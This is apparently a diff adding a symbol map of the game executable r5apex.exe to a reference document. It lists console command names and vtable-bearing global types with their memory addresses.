+r5apex.exe!0x058ca0c0 ConCommand do_origin_test_presence +r5apex.exe!0x0119ba20 ConCommand downloadPlaylists +r5apex.exe!0x01c5ad70 ConCommand dumpClientStringTable +r5apex.exe!0x01197e30 ConCommand dumpstringtables +r5apex.exe!0x0118bf40 ConCommand echo +r5apex.exe!0x0118c640 ConCommand echo_error +r5apex.exe!0x012d1bb0 ConCommand editor_toggle +r5apex.exe!0x01261a40 ConCommand endmovie +r5apex.exe!0x01297ba0 ConCommand entitlements_send +r5apex.exe!0x0118b4e0 ConCommand envmap +r5apex.exe!0x0118f990 ConCommand escape +r5apex.exe!0x0118e390 ConCommand exec +r5apex.exe!0x012cd170 ConCommand execPlayerConfig +r5apex.exe!0x0118c5d0 ConCommand execifexists +r5apex.exe!0x0118ffa0 ConCommand exit +r5apex.exe!0x01892b50 ConCommand eyeInfo +r5apex.exe!0x01c3fda0 ConCommand firstperson +r5apex.exe!0x0118f0a0 ConCommand flush +r5apex.exe!0x01192800 ConCommand flush_locked +r5apex.exe!0x01c499f0 ConCommand force_centerview +r5apex.exe!0x012dbfb0 ConCommand fps_stats_dump +r5apex.exe!0x012de0f0 ConCommand fps_stats_reset +r5apex.exe!0x012dbdf0 ConCommand fps_stats_start +r5apex.exe!0x012de490 ConCommand fps_stats_stop +r5apex.exe!0x012d0de0 ConCommand friends_update +r5apex.exe!0x012d40e0 ConCommand fs_clear_open_duplicate_times +r5apex.exe!0x012d4340 ConCommand fs_dump_open_duplicate_times +r5apex.exe!0x012d4a80 ConCommand fs_fios_cancel_prefetches +r5apex.exe!0x012d4060 ConCommand fs_fios_flush_cache +r5apex.exe!0x012d4500 ConCommand fs_fios_prefetch_file +r5apex.exe!0x012d4850 ConCommand fs_fios_prefetch_file_in_pack +r5apex.exe!0x012d47d0 ConCommand fs_fios_print_prefetches +r5apex.exe!0x0118c980 ConCommand fs_printopenfiles +r5apex.exe!0x0118cd60 ConCommand fs_warning_level +r5apex.exe!0x01c3ec20 ConCommand fx_impact_reparse +r5apex.exe!0x01199830 ConCommand gameui_activate +r5apex.exe!0x0119bc00 ConCommand gameui_allowescape +r5apex.exe!0x0119d320 ConCommand gameui_allowescapetoshow +r5apex.exe!0x011995b0 ConCommand gameui_hide +r5apex.exe!0x01198fd0 ConCommand gameui_preventescape +r5apex.exe!0x0119aaa0 ConCommand gameui_preventescapetoshow +r5apex.exe!0x012d2540 ConCommand getNewAuthToken +r5apex.exe!0x01891420 ConCommand getfov +r5apex.exe!0x011914c0 ConCommand gethttpdatacenterlist +r5apex.exe!0x01896030 ConCommand getpos +r5apex.exe!0x018a9270 ConCommand getpos_bind +r5apex.exe!0x01c2dc60 ConCommand getposvec +r5apex.exe!0x01e65280 ConCommand give +r5apex.exe!0x0118ccf0 ConCommand help +r5apex.exe!0x01e87ae0 ConCommand hidepanel +r5apex.exe!0x01c4f310 ConCommand hidevideos +r5apex.exe!0x012e6ae0 ConCommand highlight_log +r5apex.exe!0x012ccc70 ConCommand host_runofftime +r5apex.exe!0x01c41910 ConCommand hud_subtitles +r5apex.exe!0x012d2f80 ConCommand huffman_readProps +r5apex.exe!0x01c46910 ConCommand impulse +r5apex.exe!0x012ca8c0 ConCommand inboxmessage_report +r5apex.exe!0x01197cf0 ConCommand incrementvar +r5apex.exe!0x01c50db0 ConCommand ingamemenu_activate +r5apex.exe!0x0118f800 ConCommand initMatchmaking +r5apex.exe!0x01c3f940 ConCommand invnext +r5apex.exe!0x018a99f0 ConCommand is_considered_sony_multiplayer +r5apex.exe!0x01260560 ConCommand joinopeninvite +r5apex.exe!0x01c46f90 ConCommand joystick_initialize +r5apex.exe!0x01260c10 ConCommand jpeg +r5apex.exe!0x01197890 ConCommand key_listboundkeys +r5apex.exe!0x012d6890 ConCommand key_updatelayout +r5apex.exe!0x0119b660 ConCommand launchplaylist +r5apex.exe!0x012616e0 ConCommand leaveopeninvite +r5apex.exe!0x01c56f60 ConCommand listClientFXScriptHandles +r5apex.exe!0x01193d70 ConCommand listmodels +r5apex.exe!0x0119a1e0 ConCommand loadPlaylists +r5apex.exe!0x011923a0 ConCommand map +r5apex.exe!0x011906c0 ConCommand map_background +r5apex.exe!0x01192760 ConCommand maps +r5apex.exe!0x01191ab0 ConCommand mat_antialias_mode +r5apex.exe!0x01198b50 ConCommand mat_configcurrent +r5apex.exe!0x0118cb30 ConCommand mat_crosshair +r5apex.exe!0x0118c860 ConCommand mat_crosshair_edit +r5apex.exe!0x0118b3d0 ConCommand mat_crosshair_explorer +r5apex.exe!0x0118cc70 ConCommand mat_crosshair_printmaterial +r5apex.exe!0x0118e050 ConCommand mat_crosshair_reloadmaterial +r5apex.exe!0x01192ee0 ConCommand mat_gamma +r5apex.exe!0x012e1bb0 ConCommand mat_hdr_enabled +r5apex.exe!0x01882c60 ConCommand mat_printLiveTex +r5apex.exe!0x01192440 ConCommand mat_savechanges +r5apex.exe!0x01195760 ConCommand mat_setvideomode +r5apex.exe!0x01198970 ConCommand mat_vsync +r5apex.exe!0x01195800 ConCommand match_abortAllSearches +r5apex.exe!0x01191450 ConCommand match_showAllSearches +r5apex.exe!0x01198150 ConCommand matchmake +r5apex.exe!0x011983d0 ConCommand matchmake_cancel +r5apex.exe!0x01195f20 ConCommand matchmake_cleanupforparty +r5apex.exe!0x012993a0 ConCommand maxplayers +r5apex.exe!0x012cd1f0 ConCommand mem_compact +r5apex.exe!0x012cc2f0 ConCommand mem_dump +r5apex.exe!0x012cc010 ConCommand mem_dump_vm +r5apex.exe!0x012cbb50 ConCommand mem_eat +r5apex.exe!0x012ccf50 ConCommand mem_incremental_compact +r5apex.exe!0x012cd0f0 ConCommand mem_leak_vm +r5apex.exe!0x012cc410 ConCommand mem_test +r5apex.exe!0x012e2d60 ConCommand mem_textures +r5apex.exe!0x012cd650 ConCommand mem_verify +r5apex.exe!0x012e3240 ConCommand mem_vram +r5apex.exe!0x01194570 ConCommand memory +r5apex.exe!0x011968c0 ConCommand migrateme +r5apex.exe!0x01e72f90 ConCommand miles_dump +r5apex.exe!0x01e73120 ConCommand miles_event_info +r5apex.exe!0x01e73b80 ConCommand miles_pauseui_byname +r5apex.exe!0x01e74830 ConCommand miles_play +r5apex.exe!0x01e74a70 ConCommand miles_reboot +r5apex.exe!0x01e71940 ConCommand miles_record +r5apex.exe!0x01e727f0 ConCommand miles_record_that +r5apex.exe!0x01e723e0 ConCommand miles_stop_all +r5apex.exe!0x01e71e60 ConCommand miles_unpauseui_byname +r5apex.exe!0x01e72a90 ConCommand miles_write_passive_dumpfile +r5apex.exe!0x01260050 ConCommand mmdevinit +r5apex.exe!0x0118e980 ConCommand multvar +r5apex.exe!0x012d24c0 ConCommand muteroom +r5apex.exe!0x0118f120 ConCommand net_channels +r5apex.exe!0x012611f0 ConCommand net_dumpIncomingStats +r5apex.exe!0x01260dc0 ConCommand net_dumpOutgoingStats +r5apex.exe!0x01261050 ConCommand net_dumpStats +r5apex.exe!0x01195fc0 ConCommand net_start +r5apex.exe!0x011938c0 ConCommand net_status +r5apex.exe!0x012cc830 ConCommand net_writeStatsFile +r5apex.exe!0x012614b0 ConCommand openinvite +r5apex.exe!0x012609e0 ConCommand openinvitecomplete +r5apex.exe!0x012607c0 ConCommand openinvitelaunch +r5apex.exe!0x058ca130 ConCommand origin_friendlist_dump +r5apex.exe!0x018a07b0 ConCommand particle_create +r5apex.exe!0x018a37d0 ConCommand particle_create_on_me +r5apex.exe!0x01c2eb80 ConCommand particle_create_ss +r5apex.exe!0x01c50bf0 ConCommand particle_dump +r5apex.exe!0x018966e0 ConCommand particle_kill +r5apex.exe!0x01c54670 ConCommand particle_list +r5apex.exe!0x018a0690 ConCommand particle_recreate +r5apex.exe!0x01c4f840 ConCommand particle_remove_all +r5apex.exe!0x0189df50 ConCommand particle_scrub_bake +r5apex.exe!0x01c381f0 ConCommand particle_scrub_play +r5apex.exe!0x01c2daa0 ConCommand particle_scrub_stop +r5apex.exe!0x012cf220 ConCommand party_leave +r5apex.exe!0x012cede0 ConCommand party_serverChange +r5apex.exe!0x0118e420 ConCommand path +r5apex.exe!0x0118fdf0 ConCommand pause +r5apex.exe!0x01c52270 ConCommand pausevideos +r5apex.exe!0x01885280 ConCommand perfcharts_record +r5apex.exe!0x01c524d0 ConCommand phys_objectDump +r5apex.exe!0x01e84d00 ConCommand phys_throw_client +r5apex.exe!0x01190c90 ConCommand ping +r5apex.exe!0x01c51f70 ConCommand ping_specific_type +r5apex.exe!0x011980b0 ConCommand pingdatacenters +r5apex.exe!0x01896170 ConCommand pixelvis_debug +r5apex.exe!0x01ca04b0 ConCommand playerSettings_reparse +r5apex.exe!0x0119d090 ConCommand playlistdump +r5apex.exe!0x01c3de90 ConCommand playsoundscape +r5apex.exe!0x01c52d70 ConCommand playvideo +r5apex.exe!0x01c51010 ConCommand playvideo_end_level_transition +r5apex.exe!0x01c54d90 ConCommand playvideo_exitcommand +r5apex.exe!0x01c55230 ConCommand playvideo_exitcommand_nointerrupt +r5apex.exe!0x01c55ab0 ConCommand playvideo_nointerrupt +r5apex.exe!0x01c52b10 ConCommand playvideo_scaled +r5apex.exe!0x0118bc10 ConCommand print_colorcorrection +r5apex.exe!0x0119c3e0 ConCommand progress_enable +r5apex.exe!0x01193cd0 ConCommand quit +r5apex.exe!0x01ca4960 ConCommand r_cheapwaterend +r5apex.exe!0x01e59400 ConCommand r_cheapwaterstart +r5apex.exe!0x01191db0 ConCommand r_cleardecals +r5apex.exe!0x012e8ea0 ConCommand r_dxgi_max_frame_latency +r5apex.exe!0x0119af60 ConCommand r_printdecalinfo +r5apex.exe!0x012c9fa0 ConCommand readMsgs +r5apex.exe!0x01198650 ConCommand recheck +r5apex.exe!0x012cc270 ConCommand recompute_speed +r5apex.exe!0x0125fc10 ConCommand reconnect +r5apex.exe!0x01195b20 ConCommand reload +r5apex.exe!0x01297e00 ConCommand reload_localization +r5apex.exe!0x01e59e40 ConCommand reload_script_callbacks +r5apex.exe!0x01c421e0 ConCommand reset_cam_ideal_angles +r5apex.exe!0x01196360 ConCommand restart +r5apex.exe!0x01193c60 ConCommand restart_checkpoint +r5apex.exe!0x018a1e10 ConCommand roamingcam_setang +r5apex.exe!0x01c2dda0 ConCommand roamingcam_setpos +r5apex.exe!0x018a8b40 ConCommand roamingcam_setroll +r5apex.exe!0x01e73840 ConCommand rumble_print +r5apex.exe!0x012cb7f0 ConCommand savePlayerConfig +r5apex.exe!0x01c54250 ConCommand scoreboard_down +r5apex.exe!0x01c518b0 ConCommand scoreboard_focus +r5apex.exe!0x01c54eb0 ConCommand scoreboard_mute +r5apex.exe!0x01c564a0 ConCommand scoreboard_profile +r5apex.exe!0x01c540f0 ConCommand scoreboard_toggle_focus +r5apex.exe!0x01c53370 ConCommand scoreboard_up +r5apex.exe!0x0125ffb0 ConCommand screenshot +r5apex.exe!0x01193940 ConCommand server_single_frame +r5apex.exe!0x0119ad00 ConCommand serverinfo +r5apex.exe!0x01ca12d0 ConCommand set +r5apex.exe!0x01191c70 ConCommand set_loading_progress_background +r5apex.exe!0x01198ab0 ConCommand set_loading_progress_detente +r5apex.exe!0x0118edb0 ConCommand set_loading_progress_fadeout_enabled +r5apex.exe!0x0118ec30 ConCommand set_loading_progress_sp_text +r5apex.exe!0x01261310 ConCommand setinfo +r5apex.exe!0x0118d6f0 ConCommand settype +r5apex.exe!0x01c55070 ConCommand shake_stop +r5apex.exe!0x01c55490 ConCommand shake_testpunch +r5apex.exe!0x01198cd0 ConCommand show_loading_progress +r5apex.exe!0x01e87a60 ConCommand showpanel +r5apex.exe!0x01c544b0 ConCommand showvideos +r5apex.exe!0x012602d0 ConCommand silentconnect +r5apex.exe!0x0119bfa0 ConCommand skill_writeTrainingData +r5apex.exe!0x01893b40 ConCommand soundscape_dumpclient +r5apex.exe!0x01c4f960 ConCommand spawn_as_pilot +r5apex.exe!0x01c546f0 ConCommand spawn_as_titan +r5apex.exe!0x011935c0 ConCommand ss_map +r5apex.exe!0x01c4ea90 ConCommand ss_reloadletterbox +r5apex.exe!0x01e58740 ConCommand sssss_enable +r5apex.exe!0x0119ac60 ConCommand star_memory +r5apex.exe!0x01261920 ConCommand startmovie +r5apex.exe!0x01197ed0 ConCommand status +r5apex.exe!0x012d1340 ConCommand steam_printid +r5apex.exe!0x012d1220 ConCommand steam_testOverlay +r5apex.exe!0x012d0c40 ConCommand steamlink +r5apex.exe!0x012d0d60 ConCommand steamunlink +r5apex.exe!0x01c51a70 ConCommand stop_transition_videos_fadeout +r5apex.exe!0x01c49df0 ConCommand stopsoundscape +r5apex.exe!0x01c50860 ConCommand stopvideos +r5apex.exe!0x01c4d270 ConCommand stopvideos_fadeout +r5apex.exe!0x01298f60 ConCommand sv_precacheinfo +r5apex.exe!0x0129a560 ConCommand sv_showents +r5apex.exe!0x0129a0a0 ConCommand sv_shutdown +r5apex.exe!0x0129ba40 ConCommand sv_writeSendTableStreamFile +r5apex.exe!0x0188e180 ConCommand testCockpitJoltAngles +r5apex.exe!0x01894580 ConCommand testCockpitJoltOrigin +r5apex.exe!0x01ca40a0 ConCommand test_freezeframe +r5apex.exe!0x01c4b810 ConCommand testhudanim +r5apex.exe!0x012cced0 ConCommand thread_test_tslist +r5apex.exe!0x012cb730 ConCommand thread_test_tsqueue +r5apex.exe!0x01c4f290 ConCommand titan_loadout_select +r5apex.exe!0x0118ddc0 ConCommand toggle +r5apex.exe!0x01c54a70 ConCommand toggle_inventory +r5apex.exe!0x01c50980 ConCommand toggle_map +r5apex.exe!0x01e6fe00 ConCommand ui_reloadscheme +r5apex.exe!0x01e5d4e0 ConCommand uiscript_reset +r5apex.exe!0x01e5e3d0 ConCommand uiscript_resolutionchanged +r5apex.exe!0x01190c20 ConCommand unbind +r5apex.exe!0x01192300 ConCommand unbind_US_standard +r5apex.exe!0x01195500 ConCommand unbind_all_gamepad +r5apex.exe!0x01194090 ConCommand unbind_batch +r5apex.exe!0x01195210 ConCommand unbind_held +r5apex.exe!0x0118fd80 ConCommand unbind_held_US_standard +r5apex.exe!0x011924e0 ConCommand unbindall +r5apex.exe!0x01191a10 ConCommand unbindall_ignoreGamepad +r5apex.exe!0x01195100 ConCommand unload_level_loadscreen +r5apex.exe!0x012d21e0 ConCommand unmuteroom +r5apex.exe!0x01c53490 ConCommand unpausevideos +r5apex.exe!0x01c52f30 ConCommand use_consumable +r5apex.exe!0x0129acc0 ConCommand user +r5apex.exe!0x0129a440 ConCommand users +r5apex.exe!0x011952b0 ConCommand version +r5apex.exe!0x01e8d030 ConCommand vgui_spew_fonts +r5apex.exe!0x0119c880 ConCommand vgui_togglepanel +r5apex.exe!0x01190510 ConCommand voicerecord_toggle +r5apex.exe!0x0118ea80 ConCommand vx_datacache_list +r5apex.exe!0x01190d00 ConCommand vx_model_list +r5apex.exe!0x01c41290 ConCommand weaponSelectOrdnance +r5apex.exe!0x01c49040 ConCommand weaponSelectPrimary0 +r5apex.exe!0x01c3e030 ConCommand weaponSelectPrimary1 +r5apex.exe!0x01c3d150 ConCommand weaponSelectPrimary2 +r5apex.exe!0x01c46e70 ConCommand weapon_activity +r5apex.exe!0x01c390b0 ConCommand weapon_inspect +r5apex.exe!0x018a0960 ConCommand weapon_list +r5apex.exe!0x01e5f070 ConCommand weapon_reparse +r5apex.exe!0x01191ec0 ConCommand xlog_list +r5apex.exe!0x01198790 ConCommand xlog_record +r5apex.exe!0x01195180 ConCommand xlog_record_that +r5apex.exe!0x011915b0 ConCommand xlog_stop +r5apex.exe!0x01c45670 ConCommand xlook +r5apex.exe!0x01c399d0 ConCommand xmove +``` + +## Globals + +List of global variables with an associated vtable and their type name. + +``` +r5apex.exe!0x01885e80 .?AUCCallbackInternal_OnAchievementsStored@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885df0 .?AUCCallbackInternal_OnFileOpenDialog@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e40 .?AUCCallbackInternal_OnGetAuthTicket@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885dd0 .?AUCCallbackInternal_OnJSAlert@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885de0 .?AUCCallbackInternal_OnJSConfirm@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e50 .?AUCCallbackInternal_OnMicroTxnAuthorization@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885db0 .?AUCCallbackInternal_OnNeedsPaint@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e60 .?AUCCallbackInternal_OnOverlayActivated@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885e90 .?AUCCallbackInternal_OnOverlayBrowserNavigation@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01885dc0 .?AUCCallbackInternal_OnStartRequest@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x01885e70 .?AUCCallbackInternal_OnUserStatsReceived@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01e906f8 .?AUSQArray@@ +r5apex.exe!0x01e90630 .?AUSQClass@@ +r5apex.exe!0x01e905e0 .?AUSQClosure@@ +r5apex.exe!0x01e904c8 .?AUSQFunctionProto@@ +r5apex.exe!0x01e90360 .?AUSQInstance@@ +r5apex.exe!0x01e90720 .?AUSQNativeClosure@@ +r5apex.exe!0x01e90428 .?AUSQString@@ +r5apex.exe!0x01e906a8 .?AUSQStructDef@@ +r5apex.exe!0x01e90478 .?AUSQStructInstance@@ +r5apex.exe!0x01e904a0 .?AUSQTable@@ +r5apex.exe!0x01e90388 .?AUSQUserData@@ +r5apex.exe!0x01e90748 .?AUSQVM@@ +r5apex.exe!0x01e90770 .?AUSQWeakRef@@ +r5apex.exe!0x01885e00 .?AV?$CCallResult@VSteamWrapper_HTMLSurfaceCallbackHandler_s@@UHTML_BrowserReady_t@@@@ +r5apex.exe!0x05989068 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059890d0 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059890d8 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059890f8 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989160 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989168 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989188 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059891f0 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x059891f8 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989218 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989280 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x05989288 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0118a648 .?AV?$CDataManager@UDataCacheItem_t@@UDataCacheItemData_t@@PEAU1@VCThreadFastMutex@@@@ +r5apex.exe!0x041a8bd0 .?AV?$CDataManager@VCBoneCache@@Ubonecacheparams_t@@PEAV1@VCThreadFastMutex@@@@ +r5apex.exe!0x041a8c80 .?AV?$CDataManager@VCBoneCache@@Ubonecacheparams_t@@PEAV1@VCThreadFastMutex@@@@ +r5apex.exe!0x01260a48 .?AV?$CPanelFactory@VCMovieDisplayScreen@@UVGuiScreenInitData_t@@@@ +r5apex.exe!0x012604d8 .?AV?$CPanelFactory@VCVGuiScreenPanel@@UVGuiScreenInitData_t@@@@ +r5apex.exe!0x01e8a010 .?AV?$CParticleOperatorDefinition@VC_INIT_AgeNoise@@@@ +r5apex.exe!0x01e89ef0 .?AV?$CParticleOperatorDefinition@VC_INIT_ChaoticAttractor@@@@ +r5apex.exe!0x01e8a058 .?AV?$CParticleOperatorDefinition@VC_INIT_ColorLitPerParticle@@@@ +r5apex.exe!0x01e86be8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateAlongPath@@@@ +r5apex.exe!0x01e84d68 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateFromParentParticles@@@@ +r5apex.exe!0x01e8a070 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateFromPlaneCache@@@@ +r5apex.exe!0x01e8a0e8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateInEpitrochoid@@@@ +r5apex.exe!0x01e89f80 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateInHierarchy@@@@ +r5apex.exe!0x01e7d5b8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateOnModel@@@@ +r5apex.exe!0x01e8a088 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateSequentialPath@@@@ +r5apex.exe!0x01e89fc8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinBox@@@@ +r5apex.exe!0x01e87b48 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinControlPointBox@@@@ +r5apex.exe!0x01e8a260 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinSphere@@@@ +r5apex.exe!0x01e85888 .?AV?$CParticleOperatorDefinition@VC_INIT_CreationNoise@@@@ +r5apex.exe!0x01e8a148 .?AV?$CParticleOperatorDefinition@VC_INIT_DistanceToCPInit@@@@ +r5apex.exe!0x01e86188 .?AV?$CParticleOperatorDefinition@VC_INIT_InheritFromParentParticles@@@@ +r5apex.exe!0x01e89fb0 .?AV?$CParticleOperatorDefinition@VC_INIT_InheritVelocity@@@@ +r5apex.exe!0x01e89f08 .?AV?$CParticleOperatorDefinition@VC_INIT_InitFromParentKilled@@@@ +r5apex.exe!0x01e89f98 .?AV?$CParticleOperatorDefinition@VC_INIT_InitialRepulsionVelocity@@@@ +r5apex.exe!0x01e8a278 .?AV?$CParticleOperatorDefinition@VC_INIT_InitialVelocityNoise@@@@ +r5apex.exe!0x01e85788 .?AV?$CParticleOperatorDefinition@VC_INIT_LifespanFromVelocity@@@@ +r5apex.exe!0x01e8a0d0 .?AV?$CParticleOperatorDefinition@VC_INIT_ModelCull@@@@ +r5apex.exe!0x01e89f50 .?AV?$CParticleOperatorDefinition@VC_INIT_MoveBetweenPoints@@@@ +r5apex.exe!0x01e89f68 .?AV?$CParticleOperatorDefinition@VC_INIT_NormalAlignToCP@@@@ +r5apex.exe!0x01e8a218 .?AV?$CParticleOperatorDefinition@VC_INIT_NormalOffset@@@@ +r5apex.exe!0x01e86068 .?AV?$CParticleOperatorDefinition@VC_INIT_OffsetVectorToVector@@@@ +r5apex.exe!0x01e89fe0 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionOffset@@@@ +r5apex.exe!0x01e7c838 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionPlaceOnGround@@@@ +r5apex.exe!0x01e89ff8 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionWarp@@@@ +r5apex.exe!0x01e8a040 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomAlpha@@@@ +r5apex.exe!0x01e85528 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomColor@@@@ +r5apex.exe!0x01e89498 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomLifeTime@@@@ +r5apex.exe!0x01e74ad8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRadius@@@@ +r5apex.exe!0x01e84de8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRotation@@@@ +r5apex.exe!0x01e73be8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRotationSpeed@@@@ +r5apex.exe!0x01e86d68 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomScalar@@@@ +r5apex.exe!0x01e89ec0 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomSecondSequence@@@@ +r5apex.exe!0x01e8a248 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomSequence@@@@ +r5apex.exe!0x01e767e8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomTrailLength@@@@ +r5apex.exe!0x01e8a290 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomVector@@@@ +r5apex.exe!0x01e8a0b8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomVectorComponent@@@@ +r5apex.exe!0x01e8a200 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomYaw@@@@ +r5apex.exe!0x01e74bf8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomYawFlip@@@@ +r5apex.exe!0x01e85808 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapCPtoScalar@@@@ +r5apex.exe!0x01e7e3f8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapCPtoVector@@@@ +r5apex.exe!0x01e862a8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapInitialCPDirectionToRotation@@@@ +r5apex.exe!0x01e81b48 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapInitialDirectionToCPToVector@@@@ +r5apex.exe!0x01e89ed8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapParticleCountToScalar@@@@ +r5apex.exe!0x01e7a868 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapScalar@@@@ +r5apex.exe!0x01e8a100 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapScalarToVector@@@@ +r5apex.exe!0x01e74898 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapSpeedToScalar@@@@ +r5apex.exe!0x01e8a130 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapWorldCPtoScreen@@@@ +r5apex.exe!0x01e8a230 .?AV?$CParticleOperatorDefinition@VC_INIT_RingWave@@@@ +r5apex.exe!0x01e8a0a0 .?AV?$CParticleOperatorDefinition@VC_INIT_SequenceFromCP@@@@ +r5apex.exe!0x01e854a8 .?AV?$CParticleOperatorDefinition@VC_INIT_SequenceLifeTime@@@@ +r5apex.exe!0x01e8a028 .?AV?$CParticleOperatorDefinition@VC_INIT_SetCPPosition@@@@ +r5apex.exe!0x01e87ac8 .?AV?$CParticleOperatorDefinition@VC_INIT_SetHitboxToClosest@@@@ +r5apex.exe!0x01e89f38 .?AV?$CParticleOperatorDefinition@VC_INIT_SetHitboxToModel@@@@ +r5apex.exe!0x01e89f20 .?AV?$CParticleOperatorDefinition@VC_INIT_VelocityFromCP@@@@ +r5apex.exe!0x01e8a118 .?AV?$CParticleOperatorDefinition@VC_INIT_VelocityRandom@@@@ +r5apex.exe!0x01e8aa40 .?AV?$CParticleOperatorDefinition@VC_OP_AlphaDecay@@@@ +r5apex.exe!0x01e8a338 .?AV?$CParticleOperatorDefinition@VC_OP_AttractToControlPoint@@@@ +r5apex.exe!0x01e8ab58 .?AV?$CParticleOperatorDefinition@VC_OP_AxisSpin@@@@ +r5apex.exe!0x01e8a4d0 .?AV?$CParticleOperatorDefinition@VC_OP_BasicMovement@@@@ +r5apex.exe!0x01e73018 .?AV?$CParticleOperatorDefinition@VC_OP_BoxConstraint@@@@ +r5apex.exe!0x01e8a3e0 .?AV?$CParticleOperatorDefinition@VC_OP_CPOffsetToPercentageBetweenCPs@@@@ +r5apex.exe!0x01e8ad88 .?AV?$CParticleOperatorDefinition@VC_OP_ClampScalar@@@@ +r5apex.exe!0x01e8a818 .?AV?$CParticleOperatorDefinition@VC_OP_ClampVector@@@@ +r5apex.exe!0x01e8a710 .?AV?$CParticleOperatorDefinition@VC_OP_ColorInterpolate@@@@ +r5apex.exe!0x01e73758 .?AV?$CParticleOperatorDefinition@VC_OP_ConstrainDistance@@@@ +r5apex.exe!0x01e738a8 .?AV?$CParticleOperatorDefinition@VC_OP_ConstrainDistanceToPath@@@@ +r5apex.exe!0x01e8a308 .?AV?$CParticleOperatorDefinition@VC_OP_ContinuousEmitter@@@@ +r5apex.exe!0x01e8ab88 .?AV?$CParticleOperatorDefinition@VC_OP_ControlpointLight@@@@ +r5apex.exe!0x01e8a518 .?AV?$CParticleOperatorDefinition@VC_OP_Cull@@@@ +r5apex.exe!0x01e8ad70 .?AV?$CParticleOperatorDefinition@VC_OP_DampenToCP@@@@ +r5apex.exe!0x01e8a470 .?AV?$CParticleOperatorDefinition@VC_OP_Decay@@@@ +r5apex.exe!0x01e8aa70 .?AV?$CParticleOperatorDefinition@VC_OP_DecayMaintainCount@@@@ +r5apex.exe!0x01e8abf8 .?AV?$CParticleOperatorDefinition@VC_OP_DifferencePreviousParticle@@@@ +r5apex.exe!0x01e8a8a8 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceBetweenCPs@@@@ +r5apex.exe!0x01e8a7d0 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceBetweenCPsToCP@@@@ +r5apex.exe!0x01e8acc8 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceCull@@@@ +r5apex.exe!0x01e8a2a8 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceEmitter@@@@ +r5apex.exe!0x01e8a770 .?AV?$CParticleOperatorDefinition@VC_OP_DistanceToCP@@@@ +r5apex.exe!0x01e8a4a0 .?AV?$CParticleOperatorDefinition@VC_OP_FadeAndKill@@@@ +r5apex.exe!0x01e8abe0 .?AV?$CParticleOperatorDefinition@VC_OP_FadeAndKillForTracers@@@@ +r5apex.exe!0x01e8a758 .?AV?$CParticleOperatorDefinition@VC_OP_FadeIn@@@@ +r5apex.exe!0x01e8a638 .?AV?$CParticleOperatorDefinition@VC_OP_FadeInSimple@@@@ +r5apex.exe!0x01e8a878 .?AV?$CParticleOperatorDefinition@VC_OP_FadeOut@@@@ +r5apex.exe!0x01e8a980 .?AV?$CParticleOperatorDefinition@VC_OP_FadeOutSimple@@@@ 